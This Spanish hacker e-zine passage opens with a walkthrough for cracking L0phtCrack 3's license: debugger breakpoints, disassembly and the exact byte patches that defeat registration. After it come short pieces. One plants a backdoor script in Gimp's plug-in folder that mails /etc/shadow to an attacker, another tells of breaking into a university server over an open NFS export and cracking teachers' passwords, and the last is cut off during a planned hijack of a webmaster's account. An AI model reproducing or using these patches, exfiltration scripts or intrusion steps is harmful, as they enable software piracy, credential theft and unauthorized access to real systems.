mensajillo de error (sobra decir que es una MessageBox) que os dice:

"Your trial version of LC3 has expired. You must register the software to
continue using it. Click on "
Register" when you start LC3 for more info."

Ok, pues eso mismo es lo que vamos a hacer nosotros, darle al boton de
"Register". Nos aparece una peque¤a ventana con dos campos de datos:
"Serial Number" que ya esta rellenado y no podemos cambiar, y "Unlock
Code"
que estara en blanco para que lo rellenes. Tambien hay dos botones:
"Ok" y "Cancel" (que paso de explicar ;]).

Muy bien, la cosa funciona asi: durante el proceso de instalacion el LC3
calcula un "Serial Number" especifico para esa maquina, que es fijo y,
por lo tanto, no va a cambiar aunque desinstales-reinstales. Luego tu, se
supone que pruebas el programilla, te enamoras de el y llamas rapidamente
a los de L0pht, les dices el "Serial", pagas y te dan el "Unlock Code"
especifico para esa maquina.

La unica diferencia entre lo que han pensado ellos y lo que hemos pensado
nosotros es que: ni les vamos a llamar, ni, por supuesto, les vamos a
pagar un duro ;].

Como decia mi abuelo: "Lo primero es... antes." Asi que comenzamos por
meter un codigo a bulto (en mi caso "1122334455") y le damos al boton de
"Ok". Al momento nos aparece una ventana de error con el siguiente
mensaje:

"You have entered an invalid code. Please try again."

No, por el momento no voy a intentarlo mas. Recordando la historia de las
protecciones del LC, me apunto ese mensaje y me voy rapidamente al
W32Dasm. Desensamblo el 'lc3.exe' y le doy al boton "Strn Ref" (tambien
valdria dandole al menu "Refs" -> "String Data References") y busco por
ahi la cadena que apunte antes. Pero no la veo por ningun lado. Tampoco
veo nada del estilo "...successfully...", "...success..." ni nada de lo
que suele aparecer en los mensajes cuando te registras correctamente.

Bueno, pues parece que algo si que han cambiado esta vez; han ocultado las
referencias a cadenas (al menos a las importantes). Significara esto que
han aprovechado para mejorar sustancialmente el mecanismo de proteccion?
El ejecutable no esta comprimido, pero aun puede que hayan metido algun
checksum, o alguna tecnica anti-debuggin, o algo.... Pero la verdad es que
no...

Sigamos. Parece ser que vamos a tener que tracearlo. Ha legado la hora de
sacar al SICE al terreno de juego ;].


4.2.- Siguiendo la Pista

Como introduccion a este apartado os contare que, si para algo me ha
servido escribir este articulo, ha sido para conseguir de una pu¤etera vez
que una version del SICE me tirara bien en el puto WinME. Despues de
aplicar el famoso parche para el arranque de Win, la v3.25 me lo colgaba
(no me preguntes por que) y la v4.05 me daba un mensaje chungo y no se
cargaba (no se si seria que la copia estaba mal o alguna otra cosa :? ).

El caso es que la v4.00 me va como dios y ya soy un hombre feliz ;-).

Bien, sigamos donde lo dejamos. Arrancamos windows con el SICE cargado (yo
casi siempre lo tengo asi) y rulamos el LC3 una vez mas (y no la ultima).
Aparecemos en la ventana de "LC3 trial version" con los tres botones, le
damos a "Register" y en la ventana de registro metemos otra vez un codigo
cualquiera (yo meti otra vez "1122334455"), pero ANTES de darle al boton
de "Ok" pasamos al SICE con "ctrl+d".

Bien, ahora pensemos (no mucho, la verdad), el programa tendra que leer de
alguna forma el codigo que le metimos, asi que ponemos uno de los
breakpoints mas tipicos para esto y que ademas nunca falla:

bpx hmemcpy

Volvemos a dar "ctrl+d" y en la ventanita le damos al boton de "Ok".
Inmediatamente aparecemos en el SICE, hemos parado porque se llama a
HMEMCPY, como habiamos supuesto. Pero es bastante probable que lo que este
leyendo sea el "Serial", asi que doy una vez mas "ctrl+d" para llegar a la
llamada que lee el codigo. Estamos en el codigo de HMEMCPY, para salir
pulsamos F12 (ir hasta el siguiente ret; o sea, salir de la funcion) y
vemos que estamos en USER.DLL (como era de esperar), puedes verlo en la
seccion de codigo del SICE. Damos unas cuantas veces mas a F12 hasta que
lleguemos al codigo del LC3 (lo puedes ver en la ventana de codigo del
SICE, aparecera algo asi "lc3.text+....").

Podemos ver esto:

:0046A0A5 50 push eax
:0046A0A6 56 push esi

* Reference To: USER32.GetWindowTextA, Ord:0162h
|
:0046A0A7 FF1540D54700 Call dword ptr [0047D540] <- Venimos de aqui
:0046A0AD 8B4D10 mov ecx, dword ptr [ebp+10] <- Estamos aqui
:0046A0B0 6AFF push FFFFFFFF
:0046A0B2 E8D54DFFFF call 0045EE8C
:0046A0B7 EB0B jmp 0046A0C4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046A08F(C)
|
:0046A0B9 8B4510 mov eax, dword ptr [ebp+10]
:0046A0BC FF30 push dword ptr [eax]
:0046A0BE 56 push esi
:0046A0BF E843F5FFFF call 00469607

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046A0B7(U)
|
:0046A0C4 5F pop edi
:0046A0C5 5E pop esi
:0046A0C6 5D pop ebp
:0046A0C7 C20C00 ret 000C

Podemos observar que venimos de una llamada a GetWindowTextA. Si nos
fijamos un poco vemos que en EAX esta la longitud de la cadena que metimos
como codigo:

EAX = 0x0A (10 en decimal)

Y vemos que la instruccion sobre la que estamos va a cargar un valor en
ECX. Le damos a F8 para que se ejecute y miramos a ver que es lo que hay
ahora alli:

d ecx

Y en la ventana de datos deberia estar viendo el codigo que introduje,
pero no es asi, solo hay datos sin demasiado sentido para mi. Hummmmmm
pensemos: las "String References" de las ventanas las habian ocultado...
habran hecho lo propio con estas?? Sera un puntero a la cadena?? Veamos:

d *ecx

Efectivamente, ahora puedo ver perfectamente en la ventana de datos mi
codigo mas falso que Judas (pero que nos va a ayudar mucho ;]). Lo que
ha pasado es que el programador en lugar de usar una cadena normal
(char *), ha usado un puntero a cadena (char **), y con eso esperaba
despistarnos...... ;]

Pues bien, lo que yo quiero hacer ahora es seguirle la pista a esa cadena
que hay en *ECX, ya que en algun momento tendra que comprobar si es la
correcta o no, no? Quito el breakpoint que tenia antes:

bd 0

Y meto mi nuevo y flamante:

bpm *ecx

Estamos listos para darle un poco de sedal a nuestro pececillo, en el
fondo sigue estando bajo nuestro control ;]. Lo dejamos correr: "ctrl+d".

Aparecemos otra vez en el SICE. Nuestro breakpoint ha funcionado, por lo
que deben de estar haciendo algo con nuestro codigo. Veo que estamos
en una funcion de KERNEL32.DLL (fijate en la ventana de codigo), un par
de F12's para volver al codigo del LC3 y veo que era una llamada a
'lstrlen'. En EAX volvemos a tener 0x0A. No es lo que nos interesa. Lo
dejamos correr de nuevo: "ctrl+d".

Al instante volvemos a estar en el SICE viendo esto:

:
:
:0044E5AA 8BFF mov edi, edi

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0044E5B8(C), :0044E5D8(C)
|
:0044E5AC 0AC0 or al, al
:0044E5AE 742E je 0044E5DE
:0044E5B0 8A06 mov al, byte ptr [esi]
:0044E5B2 46 inc esi
:0044E5B3 8A27 mov ah, byte ptr [edi]
:0044E5B5 47 inc edi <---------- Aparecemos aqui
:0044E5B6 38C4 cmp ah, al
:0044E5B8 74F2 je 0044E5AC
:0044E5BA 2C41 sub al, 41
:0044E5BC 3C1A cmp al, 1A
:0044E5BE 1AC9 sbb cl, cl
:0044E5C0 80E120 and cl, 20
:0044E5C3 02C1 add al, cl
:0044E5C5 0441 add al, 41
:0044E5C7 86E0 xchg al, ah
:0044E5C9 2C41 sub al, 41
:0044E5CB 3C1A cmp al, 1A
:0044E5CD 1AC9 sbb cl, cl
:0044E5CF 80E120 and cl, 20
:0044E5D2 02C1 add al, cl
:0044E5D4 0441 add al, 41
:0044E5D6 38E0 cmp al, ah
:0044E5D8 74D2 je 0044E5AC
:0044E5DA 1AC0 sbb al, al
:0044E5DC 1CFF sbb al, FF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044E5AE(C)
|
:0044E5DE 0FBEC0 movsx eax, al
:0044E5E1 EB78 jmp 0044E65B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044E5A6(C)
|
:0044E5E3 F0 lock
:0044E5E4 FF0568BF6C00 inc dword ptr [006CBF68]
:
:

Como puedes ver, un trozo de codigo mas que interesante (la funcion es
mucho mayor, pero como tampoco la voy a analizar paso de ponerosla). Doy
a F12 para ver desde donde han llamado a esta funcion (y como ;]).

La verdad que no aparezco en un sitio demasiado interesante, voy a un
salto incondicional que me manda al final de la funcion. Otra vez F12 y
aparezco aqui:

:
:
:00420235 8B45E4 mov eax, dword ptr [ebp-1C]
:00420238 8B8810010000 mov ecx, dword ptr [eax+00000110]
:0042023E 8D55C8 lea edx, dword ptr [ebp-38]
:00420241 52 push edx <---- "Unlock Code" correcto ;]
:00420242 51 push ecx <---- Nuestro codigo falso
:00420243 E884700200 call 004472CC <---- Venimos de aqui
:00420248 83C408 add esp, 00000008 <---- ** Estamos aqui **
:0042024B 85C0 test eax, eax <---- La funcion devuelve?
:0042024D 7533 jne 00420282 <---- Salto interesante
:0042024F 8B4DE4 mov ecx, dword ptr [ebp-1C]
:00420252 C7811401000000000000 mov dword ptr [ebx+00000114], 00000000
:0042025C 8B8110010000 mov eax, dword ptr [ecx+00000110]
:00420262 50 push eax
:00420263 6820486D00 push 006D4820
:00420268 6800486D00 push 006D4800
:0042026D E8C0D80400 call 0046DB32
:00420272 33C0 xor eax, eax
:00420274 50 push eax
:00420275 50 push eax
:00420276 68C0496D00 push 006D49C0
:0042027B E8009B0400 call 00469D80
:00420280 EB0E jmp 00420290

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042024D(C)
|
:00420282 33C0 xor eax, eax
:00420284 50 push eax
:00420285 50 push eax
:00420286 68004A6D00 push 006D4A00
:0042028B E8F09A0400 call 00469D80

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00420280(U)
|
:00420290 8D75C8 lea esi, dword ptr [ebp-38]
:00420293 33C0 xor eax, eax
:00420295 8906 mov dword ptr [esi], eax
:00420297 894604 mov dword ptr [esi+04], eax
:
:

No hace falta ser un lince para darse cuenta que estamos en el lugar
adecuado, verdad? ;] Podemos ver como se pushean en la pila (argumentos)
dos cadenas, tomo nota para mirar mas tarde a ver que tienen (ya os lo he
puesto ahi para que no tengais que trabajar mucho ;]. Basta con que useis
el breakpoint que pongo en el 'call' dentro de poco y mireis lo que hay
en ECX y EDX: 'd ecx' y 'd edx').


4.3.- Nos Registramos!!!

Despues podemos ver como se llama a la funcion de la que nosotros venimos
(que sera la que las compara), luego se comprueba que es lo que nos ha
devuelto esa funcion (test eax,eax): si no es 0 salta y si es 0 sigue sin
saltar.

Tal y como estamos ahora vamos a saltar (EAX != 0) asi que parece que lo
que nos interesa es que NO salte, o sea que en vez de 'jne 00420282'
tengamos 'je 00420282'.

Quito los breakpoints que tenia antes:

bc *

Pongo un punto de ruptura en la llamada a la funcion (por si lo necesito
mas adelante):

bpx cs:00420243

Cambio el salto condicional en el SICE, con:

e 0042024D

Y cambio el '75' que hay por un '74'.

Lo dejo que rule con "ctrl+d" y... bingo!!! Nos aparece una preciosa
ventana con el mensaje:

"You have succesfully registered LC3."

jejeje Le damos a aceptar y llegamos a la ventana del LC3 y en el
"About.." vemos nuestro codigo falso aceptado como bueno. Cierro y vuelvo
a rular el LC3 para comprobar que todo va bien y.... co¤o, esto no parece
que este funcionando como deberia. Estamos de nuevo en la ventana del
periodo de prueba con los tres botones: "Trial", "Register" y "Help".

Bien, no asustarse. Ya me extra¤aba a mi que si en la version 2.5
comprobaban desde varios sitios no lo fueran a hacer en esta.

Pero ya no es ningun problema: sabemos cual es la funcion que compara,
sabemos que tiene que devolver 0 (para que no salte) y ademas tenemos un
punto de ruptura justo en ella (por si nos hiciera falta).

Yo a partir de aqui ya no use el SICE; me fui tranquilamente al W32Dasm,
desensamble el 'lc3.exe' y me fui a la posicion '00420243' con "Goto Code
Location"
, que es la del call:

:00420243 E884700200 call 004472CC

Una vez que estoy encima le doy a "Execute Call" y aparezco aqui:

* Referenced by a CALL at Addresses:
|:0041FD24 , :00420243 , :00446ED3 , :00446EE4 , :00446EF5
|:00446F06
|
:004472CC 55 push ebp
:004472CD 8BEC mov ebp, esp
:004472CF 83EC0C sub esp, 0000000C
:004472D2 833DBCC06C0000 cmp dword ptr [006CC0BC], 00000000
:004472D9 53 push ebx
:004472DA 56 push esi
:004472DB 57 push edi
:004472DC 7512 jne 004472F0
:004472DE FF750C push [ebp+0C]
:004472E1 FF7508 push [ebp+08]
:004472E4 E8A7720000 call 0044E590
:004472E9 59 pop ecx
:004472EA 59 pop ecx
:004472EB E96C010000 jmp 0044745C
:
:

Como podeis ver a esta funcion se la llama desde seis sitios distintos,
por eso no nos valia parchear un solo salto. Lo que yo quiero hacer ahora
es parchear esa funcion para que devuelva siempre 0; o sea que le voy a
meter al principio:

33 C0 xor eax,eax // Pon EAX a 0
C3 ret // Retorna

Arranco el UltraEdit. Solo tendre que cambiar esos 3 bytes, pero primero
tomo una cadena de codigo que no se repita para estar seguro que parcheo
en el lugar adecuado:

Busco: 55 8B EC 83 EC 0C 83 3D BC
|| || ||
Cambio por: 33 C0 C3 ...esto lo dejas igual...

Una vez hecho el cambio, salvalo (ya se encarga el UltraEdit de hacer una
copia de seguridad el solito).

Cierro el UltraEdit y rulo el LC3 a ver que pasa. Y listo!! No te pide un
codigo siquiera, te da ya por registrado. Bueno, mejor dicho: a mi me da
como registrado, porque ya tenia una entrada falsa en el registro (aquel
"Unlock Code" que veiamos al principio); al cambiar el salto con el SICE
te lo crea, aunque luego no te registre del todo. Muy bien, me lo cargo
(procedimiento standard para "desregistrar" el LC3, lo borras e
inmediatamente dejas de estar registrado. Por si quieres seguir jugando
un poco con el como hice yo ;]).

Dejo el cambio en el SICE como estaba (vuelvo a poner '75'). Vuelvo a
rular el LC3, me salta la ventana de "Trial", doy a "Register", meto lo
que me de la gana en el campo "Unlock Code" y listo!! Esta vez si que me
registra de forma definitiva! ;]


4.4.- Todos los Caminos LLevan a Roma

No hace falta ni comentar que esta no es la unica forma de crackearlo.
Ni siquiera creo que fuera la mas facil.

Por un lado ya vimos que la llamada que realizaba para leer el codigo de
la ventana era un GetWindowTextA. Dicho de otra forma: si en vez de usar
un breakpoint en HMEMCPY lo hubieramos puesto en GetWindowTextA hubieramos
podido crackearlo exactamente igual que lo que ya vimos.

Por otro lado, como ya comente varias veces, las ventanas de mensajes que
usa el programa son MessageBoxA. El mensaje de

"You have entered an invalid code. Please try again."

no es ninguna excepcion. Asi que probe a meter un punto de ruptura en ella
justo antes de introducir un codigo a bulto.

bpx messageboxa

Vuelvo a windows con "ctrl+d" y le doy al boton de "Ok". Inmediatamente
caigo en el SICE, como era de esperar, y veo que estoy en una funcion de
USER32.DLL. Le doy a F12 para salir de ella, aparezco en windows con el
mensaje de error, le doy al boton de "Aceptar" y vuelvo al SICE.

Ahora si estoy en el codigo del LC3, en concreto en '00469D51'. Nada
interesante por aqui, asi que le doy a F12. Y aparezco en '00469DA2'.
Aunque yo en ese momento no me di cuenta (ni falta que hace ;]), puedes
ver un par de "call 00469D80" en el trozo de codigo que te pastee un
poco mas arriba. En concreto en '0042027B' y '0042028B' ;]

Si no te das cuenta no pasa nada, volvemos a darle a F12 para salir de la
funcion y aparecemos aqui:

:
:
:00420286 68004A6D00 push 006D4A00
:0042028B E8F09A0400 call 00469D80 <-- Venimos de aqui

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00420280(U)
|
:00420290 8D75C8 lea esi, dword ptr [ebp-38] <- Estamos aqui
:00420293 33C0 xor eax, eax
:
:

Por si aun no te has dado cuenta, estamos un poco mas abajo del salto
aquel que parcheamos. En concreto ese salto nos enviaba a:

:0042024D 7533 jne 00420282

O sea, justo encima de la llamada al mensaje de error. En fin... sobran
los comentarios ;].


5.- Despedida y Cierre
^^^^^^^^^^^^^^^^^^^^^^
Como puedes ver el programa se crackeaba facilmente con algunos de los puntos
de ruptura mas tipicos. Teniendo en cuenta que nos llega de la mano de los
de L0pht, pues resulta un tanto triste... yo sigo sin creerme que haya nadie
mentalmente sano que pague casi 250 dolares por esto... pero quien sabe, hay
gente pa' to'! ;]

En fin se¤ores, nada mas por hoy. Quiero darle las gracias a Marconi por
haberme revisado el articulo y por la cantidad de veces que me ha resuelto
dudas: un saludo chavalote! ;-]

Tambien quiero saludar a toda la gente de El_Liceo, y tambien a MORTIIZ,
AiNaKeR, Ripe, Anarion, Jafar, mnm y resto de pe¤a del canal #root ;].

-=(EOF)=-
-=( 7A69 E-zine 11 )=--=( Cortos )=--=( Varios )=-

.-. .- Titulo -. .- Autor -.
-=( 1 | Jugando con el Gimp | trycky
-=( 2 | Atajos de toa la viada | trycky
-=( 3 | Mi primer Hack | Anonimo
-=( 4 | La caida de un imperio | Anonimo
-=( 5 | xconsole | trycky

Si quereis mandar algun documento para que lo incluyamos no teneis mas que
mandar un mail a staff@7a69ezine.org . Otra cosa es que decidi meter tantos
cortos mios por que los escribi hace ya mucho tiempo para la page del grupo
linuxeros de mi city y como nunca dieron la luz por que hicieran hueco por
a qui , espero que os sirvan de algo .

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=( 1 :-=[ Jugando con el Gimp ]=--=[ trycky ]=-

En este articulo voy a explicar como una vez obtenido root en una maquina
podemos ejecutar lo que queramos a traves del Gimp doy por echo que sabeis lo
que es el Gimp y si no lo ejecutais y ya esta . Este que voy a explicar no
tiene uso si el dueño de la maquina nunca ejecuta el gimp bueno lo que hay
que hacer es muy simple el gimp tiene un directorio de donde lee los plugins
en verdad depende de la version la ultima los ha separado en varios en el
"/usr/lib/gimp/1.1/plug-ins" . Estan los ejecutables pero si tu metes un
script tambien lo ejecutara por lo que a qui viene la parte maliciosa en
principio habia puesto muchos ejemplos pero esto seria mas un curso de script
que otra cosa de por lo que lo dejo a vuestra eleccion los scripts, bueno enga
un ejemplo cutre . Que lo que hace es mandarle la lista de passwords al usuario
trycky y lo del 2> /dev/null es que si hay errores se vayan a /dev/null pa
no dar el cante en caso de error . Como veis los ejemplos ya corren a cargo
de vuestra imaginacion solo decir que el las ultimas versiones del gimp los
script-fu y los de perl bienen separados del resto. Otra cosa seria currarse
un script en el propio gimp y que cada vez que le diese hiciece algo esto es
facil de documentarse con la ayuda del gimp y el script fu register para el
script. A si instalais uno de estos ponerle un nombre poco cantoso por que
cada vez que inicia el Gimp va saliendo abajo los plug-ins que va cargando
y si el tio lee "loading plugins me-jodo-a-tu-makina" le daria algunos
indicios de que algo anda mal no creeis.

<++> gimp/ejem1

mail trycky < /etc/shadow & 2> /dev/null

exit 0

<-->

Ya lo demas es vuestra imaginacion podeis buscar archivos que os los envien
a donde querais "find / -name secreto -exec cp {} ~ \;" Esto buscaria el
archivo secreto y lo copiaria a vuestro home como veis no tiene limitaciones.

Otra cosa tambien es que permite ejecutar ejecutables valga la rebundancia
aunque si ya habeis sido root para poder instalar el script , pero bueno
tambien puede pasar de forma muy muy rara que tenga modo de escritura el
directorio "/usr/lib/gimp/1.1/plug-ins". Pero que os lo dejo a vuestra
imaginacion tambien podeis editar un script del perl que los hay tambien para
el gimp y que cada vez que se ejecute haga algo como que se yo lo que querais
pues ya esta creo que esto ha sido bastante en principio el documento iva a
tener mas ejemplos y chorradas pero creo que con esto basta .

Si tengo algun error en el doc o lo que sea podeis encontrarme en el IRC con
el nick de trycky claramente . Este doc esta muy bien para gastarle bromas a
los colegas :) . Hasta luegor

-=( 2 :-=[ Atajos de toa la vida ]=--=[ trycky ]=-

En este doc quiero daros los comandos mas utiles para el emacs y la shell
procurare meter lo basico del vi que tambien esta mu bien todo lo sacado de
aqui pues la verdad que lo he sacado de inumerables sitios y me han sido de
muchisima ayuda la verdad. A mi condicion el emacs es el mejor claramente
y una vez que te aprender los cuatro truquillos ya te es aun mas facil.

ctrl -> Ctrl
alt -> Alt
m -> Meta , Escape

-=( Funciones del VI )=-

Si le das a la tecla Insert puedes escribir despues le das a escape y pones
dos puntos ':' ya hora puedes poner los comandos . El vi tambien es bueninismo
y hay muchos clones suyos como son el vim , etc .

:e archvio.txt : Carga un archivo
:q : Para salir del vi
:q! : Para salir sin guardar cambios
:w : Para guardar los cambios
:x : Para salir y guardar los cambios
:r arvhivo.txt : Inserta un archvio desde donde esta el cursor
:r! comando : Inserta un comando desde donde esta el cursor
:help : Te muestra la ayuda

-=( Funciones Primordiales EMACS )=-

m-x : Nos preguntara que modulo queremos cargar le damos a [TAB] y nos
saldran todos los que hay es muy util.

ctrl-xf : Crea un nuevo archivo.
ctrl-xs : Salva el Documento.
ctrl-xc : Sale del Programa.

-=( Principales Funciones EMACS)=-

m-x : Nos preguntara que modulo queremos cargar le damos a [TAB] y nos
saldran todos los que hay es muy util.

ctrl-xf : Crea un nuevo archivo.
ctrl-xs : Salva el Documento.
ctrl-xc : Sale del Programa.

-=( Principales Funciones EMACS)=-

ctrl-s : Para buscar una frase o letra.
ctrl-r : Pra una busqueda hazia atras.
ctrl-k : Borra una linea desde donde esta el cursor.
ctrl-a : Va al principio de la linea.
ctrl-e : Va al final de la linea.
Meta-u : Convierte la palabra el MAUYUSCULAS.
Meta-l : Convierte la palabra el minisculas.
alt-u : Deshace la ultima opcion.
alt-c : Convierte La Primera Letra En Mayusculas Desde Donde Esta El Cursor.
ctrl-f : para avanzar como si fuese con los cursores.
ctrl-d : bora una letra.
ctrl-? : Deshaze lo ultimo que has echo.

-=( SHELL )=-

Ctrl-z = Suspende una tarea la pone en modo background .
Ctrl-c = Interrumpe la tarea vamos que la mata .
Ctrl-d = Esto cierra la sesion igual q si pones exit .
Ctrl-xv = Muestra la version lo mismo que poner bash -version
Ctrl-l = Como vimos "limpiaba" la pantalla .
Ctrl-k = Borra la linea desde donde esta el cursor .
Ctrl-s = Bloquea la terminal .
Ctrl-q = Desbloquea la terminal .
Alt+dcha / Alt+izqda = Desplazamiento por las terminales virtuales
Ctrl-Alt-Fn = Cambio a otra terminal desde la terminal grafica
Alt-F7 = Cambio a la terminal grafica (si hay algun servidor en ejecucion).

-=( Archivo De Configuracion De Las Funciones de La Shell )=-

/etc/inputrc ; Archivo de Configuracion De Las Funciones
man readline ; Ayuda sobre las funciones

-=( 3 :-=[ Mi primer Hack ]=--=[ Anonimo ]=-

Saludos lectores de 7a69ezine ;). Os voy a contar mi primer hack del cual
aun me estoy riendo.

Era una tarde de clase. Entraba a las clases a las 15:30 por lo que esa hora
es letal si la noche anterior te acostaste tarde. Por si fuera poco
introduccion a teleco es una de esas pocas asignaturas de primero que
aprueba "to" cristo. Solo os voy a decir esto: el examen son 40 preguntas
tipo test. Cuatro opciones en cada pregunta y fallar no resta. Joder, que
alguien me calcule las posibilidades!! el nivel de azar es del 100% xDDDDD.
Bueno, el caso es que yo iba a clase como buen estudiante y mas teniendo en
cuenta que iban a hablar un poquito de inet y no me lo queria perder.

Empieza la clase hablandonos de TCP/IP. No esta mal, la verdad, sobre todo
para el que no habia oido hablar nada de esto. Pero yo me estoy aburriendo
muchiiiiiiiiiisimo. Cuanto llevamos media hora o asi el profesor nos dice
que vamos a experimentar con un ordenador de su departamento ( departamento
de comunicaciones ). Siiiiiiiiiiiii!!!!!!!!, saco papel y boli, me parece
que voya empezar a tomar apuntes ;). El ordenador era xxxxx.xxxxx.xxxxx.es
xDDDDDDD. Me lo apunto y yo tan encantao. El tio empieza a sacar utilidades
casposas del windows y le empieza a hacer ping, nslookup y cosas asi. Yo os
juro que no sabia que el win tenia de eso :-). Desde que empece a
experimentar con redes habia utilizado linux. Y el tio dale que te pego al
ping, al nslookup y a su puta madre. No se por que a mi se me ocurrian otras
herramientas ;). La clase termina siendo un aburrimiento y olvido este host
en mi mochila hasta que llego a casa donde lo a~ado a mi hit list.

Iba a ser una tarde genial ;). Arranco mi debian. Y rulo el nmap. A mi
personalmente me gusta aunque me rio del modo stealth ;). FTP, telnet,
sunrpc, nfs... joder, to abierto, los departamento de comunicaciones no
tienen ni zorra de lo que es seguridad en la red ;). Esto iba bien. Pero yo
nada, paso de probar el ftp anononimo, paso del telnet directamente y voy de
cabeza a ver los ficheros exportables con showmount. Arggggggggg!!!!!!!!!.
No tengo palabras para describir lo que senti. Nunca habia llegado muy lejos
en el mundo de la seguridad pero cuando vi ese
/usr/home exportable para (everyone) sabia

  
que algo iba a cambiar xD.
Me explico un poco. showmount es un comando en unix que te permite ver los
directorios exportables de una maquina. Los directorios exportables son unos
directorios que bajo unas limitaciones pueden ser montados en maquinas
remotas bajo unos permisos especificos. El sistema de ficheros que controla
estas caracteristicas es el NFS. Normalmente se limita el acceso a estos
ficheros exportables a las maquinas de la misma red o que tengan que ver ese
ordenador pero ellos nooooo, ellos tienen que permitir que todo el mundo
pueda montar sus directorios exportables, por que ? porque ellos son tope
guays xDDDD. Pero esto no acaba aqui, lo que te permiten montar son los
ficheros HOME de los usuarios que tienen acceso a la maquina. Esto es un MUY
GRAVE error de configuracion del NFS. Nunca se deben dejar estos directorios
exportables. El por que es muy sencillo. En un principio aunque cualquiera
los monte no podra hacer mucho ya que no es el due~o de ese HOME y por tanto
no tiene permisos de escritura y tal... Pero que pasa si creamos el usuario
de ese HOME en nuestro ordenata con el mismo id ?? Pues na, que nos dejan
escribir en ese HOME :). Y sobre todo es interesante porque con permiso de
escritura en los homes se pueden hacer muchas cosas... os suena .rhosts ?
;). Si no os suena buscar un par de manuales sobre seguridad en inet y
enseguida encontrareis info al respecto.

Me parece increible que un ordenador asi cometa errores de este nivel. Si
contuvieran info sensible encima los denuncio xDDDDDDDDDD. Bueno, me meto y
empizo a buscar cosillas:
find / -perm 4755 2>/dev/null y demas...
y luego las cosas interesantes:
find / -name *exam* 2>/dev/null xDDDDDDD
...
De pronto se me ocurre algo.
$ cat /etc/passwd
xDDDDDDDDDDDDD

No es increible ? No estan shadowed, joder pero si en las distros actuales
solo tienes que decir que si durante la instalacion !!!!!!!

Vale, copy&paste rules. Asi que llamo a mi amigo John y le pregunto que
piensa el ;). Y me empieza a soltar passwords de los profes. Joderrrrrrrrrr,
pasa que pongais de pass el login mas un numero, pasa que pongais el mismo
pass que el login, pero NO pasa que no PONGAIS PASSSSSSSSSS!!!!!!!. Bueno,
este solo fue un caso...Pero el resto eran la ostia. El password de un
profesor: quetetastieneladelaprimerafila xDDDDDDDDDDDDDDDDDD Es co~a. Todo
eran nombres de tias, algun insecto, alguna fruta y el resto login mas algun
numero. Por supuesto me quedaron algunos sin crackear como el root
:((. Despues de todo era mi primer hack!!. Por cierto era un Digital Unix,
alguien me pasa un xploit que rule ? =o).

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=( 4 :-=[ La caida de un imperio ]=--=[ Anonimo ]=-

__| ''INICIO''|__

El como me llame, no importa, lo unico que importa de
verdad, es que hago usufructo de este invento que es
la red, puesto que hago usufructo soy un usuario.

Como usuario, me siento ligado a unos derechos, y a
unos deberes. Y dado que soy un usuario de "internet"
e internet es "libre",

-tengo el derecho a ser libre
-tengo el deber de respetar y salvaguardar la
libertad de los demas

Una vez planteada esta piedra filosofal (basica),
vamos al meollo de la question.

__|''LA QUESTION"|__

Soy usuario habitual de un portal de internet (no
dire porque) que permite que el total de sus usuarios
se organice en comunidades virtuales, cada una con sus
propios y singulares contenidos, y que los fundadores
de cada tipo de comunidad creada pueda gestionar sus
paginas, su chat y su foro.
Alli hay de todo, pero llamaba la atencion una
comunidad en concreto, una supuesta comunidad hacker,
que entre todos los contenidos que ofrecia en sus
paginas, unos de ellos eran de lo mas jugoso.

--La ya consabida milonga de crakear una cuenta de
hotmail, mandanto tu user/passwd y user a crakear,
dentro del body de un mail a security_box@hotmail.com.
Decian de esto que era un tutorial de hack que les
habia costado mucho encontrar y que funcionaba de
maravilla.

--En otra de las paginas decia lo siguiente:
"
Nosotros somos el poblado que mas descargas de
programas hackers tiene, no lo dudes unete a nosotros.
SERIA UNA COSA MUY GRAVE QUE USARAS ESOS PROGRAMAS
CONTRA NOSOTROS, si asi lo hicieras los programas se
volverian contra ti, o no funcionarian, si de todas
maneras quieres hacerlo, que sepas que nos daremos
cuenta y actuaremos en consecuencia y blah blah blah".

Comentandolo con otros usuarios, nos parecio algo muy
feo, incluso censurable, (una cosa es usar un poco de
I-S y otra muy diferente aprovecharte de unos chavales
que confian en ti). Asi que les sugerimos que lo
quitaran, ellos no solo no quitaron esos contenidos,
sino que se rieron de nosotros (los usuarios) con
alusiones del tipo "
que vais a hacer lamers, nosotros
somos "hackers"". ô_O

Para empezar a hablar con propiedad y dejarnosde
vaguerias diremos todo con nombres y apellidos:

Portal = Pobladores = http://www.pobladores.com
.
Comunidad virtual (cv) = MundoyHacker =
http://www.pobladores.com/territorios/informatica/Mundoyhacker(inutil
url por cierto ya)
.
Webmaster de comunidad virtual = Airon2
.
Mail del webmaster de la cv = espinola.mola@ozu.es
.

__|''LA DECISION''|__

Una tarde de domingo que me aburria mucho, decidi
hacer algo al respecto. Los pasos serian los
siguientes:

-Entrar en su correo de Ozu (espinola.mola@ozu.es)
-Hacer que Pobladores.com, enviara la clave del
webmaster de Mundoyhacker a su correo en ozu
-Con esa clave entrar en www.pobladores.com como
Airon2 y hacerme con el control del contenido de la
web y modificarla en los siguientes puntos:

--Quitar a TODOS los administradores secundarios
--Cambiar el contenido de la pagina de inicio de ese
website, por un manifesto haciendo unas peticiones.
--Quitar las pag que creia que se aprovechaban de los
usuarios (tema Hotmail y los prog con vida propia
(Pfffff)(desde cuando un portscan se vuelve contra uno
mismo, es que me escaneara mis puertos cuando no se lo
pida??).
--Cambiar el passwd de esa cuenta y secuestrarla (el
webmaster no tendria acceso a modificar su web)
--Mantenerla secuestrada hasta que el webmaster de
ese site enviara un mail a una direccion de correo
prometiendo cumplir con los puntos expuestos en el
manifesto.

Creyendo que lo tenia todo planeado y confiando en mi
escasa habilidad me puse a currar, ( y eso dio paso al
desastre mas bochornoso que he tenido en cuanto a este
tipo de actividades se refiere)(ya ireis viendo el
porque a medida que avanza el proceso).

__|''EL "
MARRON"''|__

Vamos a ir por pasos, entrar en su correo de Ozu no
fue demasiado complicado, (si os digo como os
